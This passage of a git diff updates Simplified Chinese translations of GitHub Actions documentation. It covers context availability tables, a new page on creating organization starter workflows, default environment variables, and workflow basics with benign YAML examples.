-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs, secrets</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> |                            |
 | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | <code>always, cancelled, success, failure, hashFiles</code> |
@@ -248,32 +235,32 @@ The following table indicates where each context and special function can be use
 | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs</code> | |
-| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github</code> | |
-| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs</code> |                            |
+| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github</code> |                            |
+| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> |                            |
 {% else %}
-| Path | Context | Special functions |
-| ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github</code> | |
-| <code>env</code> | <code>github, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env</code> | |
-| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | |
-| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs</code> | <code>always, cancelled, success, failure</code> |
-| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | |
-| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
+| 路径                          | 上下文                         | 特殊函数                        |
+| --------------------------- | --------------------------- | --------------------------- |
+| <code>concurrency</code>  | <code>github</code>  |                             |
+| <code>env</code>  | <code>github, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.concurrency</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code>  | <code>github, needs, strategy, matrix, env, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code>  | <code>github, needs, strategy, matrix, job, runner, env, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code>  | <code>github, needs, strategy, matrix, env</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.env</code>  | <code>github, needs, strategy, matrix, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.environment</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.environment.url</code>  | <code>github, needs, strategy, matrix, job, runner, env, steps</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.if</code>  | <code>github, needs</code>  | <code>always, cancelled, success, failure</code>  |
+| <code>jobs.&lt;job_id&gt;.name</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> |                             |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> |                             |
 | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | <code>always, cancelled, success, failure, hashFiles</code> |
@@ -282,6 +269,6 @@ The following table indicates where each context and special function can be use
 | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> | |
-| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> | |
-{% endif %}
\ No newline at end of file
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> |                             |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> |                             |
+{% endif %}
diff --git a/translations/zh-CN/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md b/translations/zh-CN/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
new file mode 100644
index 0000000000..d99154641f
--- /dev/null
+++ b/translations/zh-CN/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
@@ -0,0 +1,99 @@
+---
+title: Creating starter workflows for your organization
+shortTitle: Creating starter workflows
+intro: Learn how you can create starter workflows to help people in your team add new workflows more easily.
+redirect_from:
+  - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization
+  - /actions/learn-github-actions/creating-workflow-templates
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## 概览
+
+{% data reusables.actions.workflow-organization-templates %}
+
+## Creating a starter workflow
+
+Starter workflows can be created by users with write access to the organization's `.github` repository. These can then be used by organization members who have permission to create workflows.
+
+{% ifversion fpt %}
+Starter workflows created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use starter workflows to create workflows in private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
+{% note %}
+
+**Note:** To avoid duplication among starter workflows you can call reusable workflows from within a workflow. This can help make your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+
+{% endnote %}
+{% endif %}
+
+This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow.
+
+1. 如果组织中没有名为 `.github` 的公共仓库，请新建一个。
+2. 创建一个名为 `workflow-templates` 的目录。
+3. 在 `workflow-templates` 目录中创建新的工作流程文件。
+
+   如果需要引用仓库的默认分支，可以使用 `$default-branch` 占位符。 When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch.
+
+   例如，下面这个名为 `octo-organization-ci.yml` 的文件展示了一个基本的工作流程。
+
+   ```yaml
+   name: Octo Organization CI
+
+   on:
+     push:
+       branches: [ $default-branch ]
+     pull_request:
+       branches: [ $default-branch ]
+
+   jobs:
+     build:
+       runs-on: ubuntu-latest
+
+       steps:
+         - uses: actions/checkout@v2
+
+         - name: Run a one-line script
+           run: echo Hello from Octo Organization
+   ```
+4. 在 `workflow-templates` 目录中创建元数据文件。 元数据文件必须与工作流程文件同名，但扩展名不是 `.yml`，而必须附加 `.properties.json`。 例如，下面这个名为 `octo-organization-ci.properties.json` 的文件包含名为 `octo-organization-ci.yml` 的工作流程文件的元数据：
+   ```yaml
+   {
+       "name": "Octo Organization Workflow",
+       "description": "Octo Organization CI starter workflow.",
+       "iconName": "example-icon",
+       "categories": [
+           "Go"
+       ],
+       "filePatterns": [
+           "package.json$",
+           "^Dockerfile",
+           ".*\\.md$"
+       ]
+   }
+   ```
+   * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows.
+   * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows.
+   * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`.
+   * `categories` - **可选。**定义工作流程的语言类别。 When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. 有关可用语言类别的信息，请参阅https://github.com/github/linguist/blob/master/lib/linguist/languages.yml。
+   * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression.
+
+To add another starter workflow, add your files to the same `workflow-templates` directory. 例如：
+
+![Workflow files](/assets/images/help/images/workflow-template-files.png)
+
+## 后续步骤
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Using starter workflows](/actions/learn-github-actions/using-starter-workflows)."
diff --git a/translations/zh-CN/content/actions/learn-github-actions/environment-variables.md b/translations/zh-CN/content/actions/learn-github-actions/environment-variables.md
index 83e39ee23f..5dbe72f903 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/environment-variables.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/environment-variables.md
@@ -1,6 +1,6 @@
 ---
-title: Environment variables
-intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom environment variables in your workflow file.'
+title: 环境变量
+intro: '{% data variables.product.prodname_dotcom %} 为每个 {% data variables.product.prodname_actions %} 工作流程运行设置默认环境变量。 您也可以在工作流程文件中设置自定义环境变量。'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/using-environment-variables
   - /actions/automating-your-workflow-with-github-actions/using-environment-variables
@@ -16,11 +16,11 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About environment variables
+## 关于环境变量
 
-{% data variables.product.prodname_dotcom %} sets default environment variables that are available to every step in a workflow run. Environment variables are case-sensitive. Commands run in actions or steps can create, read, and modify environment variables.
+{% data variables.product.prodname_dotcom %} 设置适用于工作流程运行中每个步骤的默认环境变量。 环境变量区分大小写。 在操作或步骤中运行的命令可以创建、读取和修改环境变量。
 
-To set custom environment variables, you need to specify the variables in the workflow file. You can define environment variables for a step, job, or entire workflow using the [`jobs.<job_id>.steps[*].env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv), [`jobs.<job_id>.env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv), and [`env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) keywords. For more information, see "[Workflow syntax for {% data variables.product.prodname_dotcom %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+要设置自定义环境变量，您需要在工作流程文件中指定变量。 您可以使用 [`jobs.<job_id>.steps[*].env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv)、[`jobs.<job_id>.env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv) 和 [`env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) 关键字定义步骤、作业或整个工作流程的环境变量。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 的工作流程语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)”。
 
 {% raw %}
 ```yaml
@@ -40,61 +40,51 @@ jobs:
 ```
 {% endraw %}
 
-To use the value of an environment variable in a workflow file, you should use the [`env` context](/actions/reference/context-and-expression-syntax-for-github-actions#env-context). If you want to use the value of an environment variable inside a runner, you can use the runner operating system's normal method for reading environment variables.
+要在工作流程文件中使用环境变量的值，您应该使用 [`env` 上下文](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)。 如果要在运行器中使用环境变量的值，您可以使用运行器操作系统的正常方法来读取环境变量。
 
-If you use the workflow file's `run` key to read environment variables from within the runner operating system (as shown in the example above), the variable is substituted in the runner operating system after the job is sent to the runner. For other parts of a workflow file, you must use the `env` context to read environment variables; this is because workflow keys (such as `if`) require the variable to be substituted during workflow processing before it is sent to the runner.
+如果使用工作流程文件的 `run` 键从运行器操作系统中读取环境变量（如上例所示），则在作业发送到运行器后，该变量将在运行器操作系统中被替换。 对于工作流程文件的其他部分，必须使用 `env` 上下文来读取环境变量；这是因为工作流程键（例如 `if`）需要在发送到运行器之前，在工作流程处理过程中替换变量。
 
-You can also use the `GITHUB_ENV` environment file to set an environment variable that the following steps in a job can use. The environment file can be used directly by an action or as a shell command in a workflow file using the `run` keyword. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)."
+You can also use the `GITHUB_ENV` environment file to set an environment variable that the following steps in a job can use. The environment file can be used directly by an action or as a shell command in a workflow file using the `run` keyword. 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程命令](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)”。
 
-## Default environment variables
+## 默认环境变量
 
-We strongly recommend that actions use environment variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets environment variables for actions to use in all runner environments.
+强烈建议操作使用环境变量访问文件系统，而非使用硬编码的文件路径。 {% data variables.product.prodname_dotcom %} 设置供操作用于所有运行器环境中的环境变量。
 
-| Environment variable | Description |
-| ---------------------|------------ |
-| `CI` | Always set to `true`. |
-| `GITHUB_WORKFLOW` | The name of the workflow. |
-| `GITHUB_RUN_ID` | {% data reusables.github-actions.run_id_description %} |
-| `GITHUB_RUN_NUMBER` | {% data reusables.github-actions.run_number_description %} |
-| `GITHUB_JOB` | The [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. |
-| `GITHUB_ACTION` | The unique identifier (`id`) of the action. |
-| `GITHUB_ACTION_PATH` | The path where your action is located. You can use this path to access files located in the same repository as your action. This variable is only supported in composite actions. |
-| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}.
-| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. |
-| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
-| `GITHUB_EVENT_NAME` | The name of the webhook event that triggered the workflow. |
-| `GITHUB_EVENT_PATH` | The path of the file with the complete webhook event payload. For example, `/github/workflow/event.json`. |
-| `GITHUB_WORKSPACE` | The {% data variables.product.prodname_dotcom %} workspace directory path, initially empty. For example, `/home/runner/work/my-repo-name/my-repo-name`. The [actions/checkout](https://github.com/actions/checkout) action will check out files, by default a copy of your repository, within this directory. |
-| `GITHUB_SHA` | The commit SHA that triggered the workflow. For example, `ffac537e6cbbf934b08745a378932722df287a53`. |
-| `GITHUB_REF` | The branch or tag ref that triggered the workflow. For example, `refs/heads/feature-branch-1`. If neither a branch or tag is available for the event type, the variable will not exist. |
+| 环境变量                 | 描述                                                                                                                                                                                               |
+| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `CI`                 | 始终设置为 `true`。                                                                                                                                                                                    |
+| `GITHUB_WORKFLOW`    | 工作流程的名称。                                                                                                                                                                                         |
+| `GITHUB_RUN_ID`      | {% data reusables.github-actions.run_id_description %}
+| `GITHUB_RUN_NUMBER`  | {% data reusables.github-actions.run_number_description %}
+| `GITHUB_JOB`         | 当前作业的 [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id)。                                                                                                                |
+| `GITHUB_ACTION`      | 操作唯一的标识符 (`id`)。                                                                                                                                                                                 |
+| `GITHUB_ACTION_PATH` | 您的操作所在的路径。 您可以使用此路径访问与操作位于同一仓库中的文件。 此变量仅在复合操作中才受支持。                                                                                                                                              |
+| `GITHUB_ACTIONS`     | 当 {% data variables.product.prodname_actions %} 运行工作流程时，始终设置为 `true`。 您可以使用此变量来区分测试是在本地运行还是通过 {% data variables.product.prodname_actions %} 运行。                                                  |
+| `GITHUB_ACTOR`       | 发起工作流程的个人或应用程序的名称。 例如 `octocat`。                                                                                                                                                                 |
+| `GITHUB_REPOSITORY`  | 所有者和仓库名称。 例如 `octocat/Hello-World`。                                                                                                                                                              |
+| `GITHUB_EVENT_NAME`  | 触发工作流程的 web 挂钩事件的名称。                                                                                                                                                                             |
+| `GITHUB_EVENT_PATH`  | 具有完整 web 挂钩事件有效负载的文件路径。 例如 `/github/workflow/event.json`。                                                                                                                                        |
+| `GITHUB_WORKSPACE`   | {% data variables.product.prodname_dotcom %} 工作空间目录路径，初始为空白。 例如 `/home/runner/work/my-repo-name/my-repo-name`。 [actions/checkout](https://github.com/actions/checkout) 操作将在此目录内检出文件，默认情况下是仓库的副本。 |
+| `GITHUB_SHA`         | 触发工作流程的提交 SHA。 例如 `ffac537e6cbbf934b08745a378932722df287a53`。                                                                                                                                    |
+| `GITHUB_REF`         | 触发工作流程的分支或标记参考。 例如 `refs/heads/feature-branch-1`。 如果分支或标记都不适用于事件类型，则变量不会存在。                                                                                                                      |
 {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5338 %}
-| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} |
-| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} |
-| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} |
+| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} | | `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} | | `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %}
 {%- endif %}
-| `GITHUB_HEAD_REF` | Only set for pull request events. The name of the head branch.
-| `GITHUB_BASE_REF` | Only set for pull request events. The name of the base branch.
-| `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`.
-| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`.
-| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`.
-| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %}
-| `RUNNER_OS` | {% data reusables.actions.runner-os-description %}{% if actions-runner-arch-envvars %}
-| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}{% endif %}
-| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %}
+| `GITHUB_HEAD_REF` | Only set for pull request events. 头部分支的名称。 | `GITHUB_BASE_REF` | Only set for pull request events. 基础分支的名称。 | `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. 例如： `https://{% data variables.product.product_url %}`。 | `GITHUB_API_URL` | Returns the API URL. 例如： `{% data variables.product.api_url_code %}`。 | `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. 例如： `{% data variables.product.graphql_url_code %}`。 | `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} | `RUNNER_OS` | {% data reusables.actions.runner-os-description %}{% if actions-runner-arch-envvars %} | `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}{% endif %} | `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %}
 {% ifversion not ghae %}| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %}{% endif %}
 
 {% tip %}
 
-**Note:** If you need to use a workflow run's URL from within a job, you can combine these environment variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
+**注：**如果需要在作业中使用工作流程运行的 URL，您可以组合这些环境变量：`$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
 
 {% endtip %}
 
-### Determining when to use default environment variables or contexts
+### 确定何时使用默认环境变量或上下文
 
 {% data reusables.github-actions.using-context-or-environment-variables %}
 
-## Naming conventions for environment variables
+## 环境变量命名约定
 
-When you set a custom environment variable, you cannot use any of the default environment variable names listed above with the prefix `GITHUB_`. If you attempt to override the value of one of these default environment variables, the assignment is ignored.
+设置自定义环境变量时，不能使用上面列出的前缀为 `GITHUB_` 的任何默认环境变量名称。 如果尝试重写其中一个默认环境变量的值，则会忽略赋值。
 
-Any new environment variables you set that point to a location on the filesystem should have a `_PATH` suffix. The `HOME` and `GITHUB_WORKSPACE` default variables are exceptions to this convention because the words "home" and "workspace" already imply a location.
+您设置的指向文件系统上某个位置的任何新环境变量都应该有 `_PATH` 后缀。 `HOME` 和 `GITHUB_WORKSPACE` 默认变量例外于此约定，因为 "home" 和 "workspace" 一词已经暗示位置。
diff --git a/translations/zh-CN/content/actions/learn-github-actions/essential-features-of-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/essential-features-of-github-actions.md
index d817b01d1f..c79db62080 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/essential-features-of-github-actions.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/essential-features-of-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Essential features of GitHub Actions
-shortTitle: Essential features
-intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.'
+title: GitHub Actions 的基本功能
+shortTitle: 基本功能
+intro: '{% data variables.product.prodname_actions %} 旨在帮助您建立强大而动态的自动化。 本指南说明如何创建包括环境变量、定制化脚本等的 {% data variables.product.prodname_actions %} 工作流程。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs.
+{% data variables.product.prodname_actions %} 允许您自定义工作流程，以满足应用程序和团队的独特需求。 在本指南中，我们将讨论一些基本的自定义技术，例如使用变量、运行脚本以及在作业之间共享数据和构件。
 
-##  Using variables in your workflows
+## 在工作流程中使用变量
 
-{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script.
+{% data variables.product.prodname_actions %} 包含每个工作流程运行的默认环境变量。 如果您需要使用自定义环境变量，可以在 YAML 工作流程文件中设置这些变量。 此示例演示如何创建名为 `POSTGRES_HOST` 和 `POSTGRES_PORT` 的自定义变量。 然后，这些变量可供 `node client.js` 脚本使用。
 
 ```yaml
 jobs:
@@ -34,11 +34,11 @@ jobs:
             POSTGRES_PORT: 5432
 ```
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)."
+更多信息请参阅“[使用环境变量](/actions/configuring-and-managing-workflows/using-environment-variables)”。
 
-## Adding scripts to your workflow
+## 添加脚本到工作流程
 
-You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner.
+您可以使用操作来运行脚本和 shell 命令，然后在指定的运行器上执行。 此示例演示操作如何使用 `run` 关键字在运行器上执行 `npm install -g bats`。
 
 ```yaml
 jobs:
@@ -47,7 +47,7 @@ jobs:
       - run: npm install -g bats
 ```
 
-For example, to run a script as an action, you can store the script in your repository and supply the path and shell type.
+例如，要将脚本作为操作运行，您可以将脚本存储在您的仓库中并提供路径和 shell 类型。
 
 ```yaml
 jobs:
@@ -58,13 +58,13 @@ jobs:
         shell: bash
 ```
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)”。
 
-## Sharing data between jobs
+## 在作业之间共享数据
 
-If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %}
+如果作业生成您要与同一工作流程中的另一个作业共享的文件，或者您要保存这些文件供以后参考，可以将它们作为_构件_存储在 {% data variables.product.prodname_dotcom %} 中。 构件是创建并测试代码时所创建的文件。 例如，构件可能包含二进制或包文件、测试结果、屏幕截图或日志文件。 构件与其创建时所在的工作流程运行相关，可被另一个作业使用。 {% data reusables.actions.reusable-workflow-artifacts %}
 
-For example, you can create a file and then upload it as an artifact.
+例如，您可以创建一个文件，然后将其作为构件上传。
 
 ```yaml
 jobs:
@@ -81,7 +81,7 @@ jobs:
           path: output.log
 ```
 
-To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`.
+要从单独的工作流程运行下载构件，您可以使用 `actions/download-artifact` 操作。 例如，您可以下载名为 `output-log-file` 的构件。
 
 ```yaml
 jobs:
@@ -93,10 +93,10 @@ jobs:
           name: output-log-file
 ```
 
-To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes.
+要从同一工作流程运行中下载构件，下载作业应指定 `needs: upload-job-name`，使其在上传作业完成之前不会开始。
 
-For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+有关构件的更多信息，请参阅“[使用构件持久化工作流程](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)”。
 
-## Next steps
+## 后续步骤
 
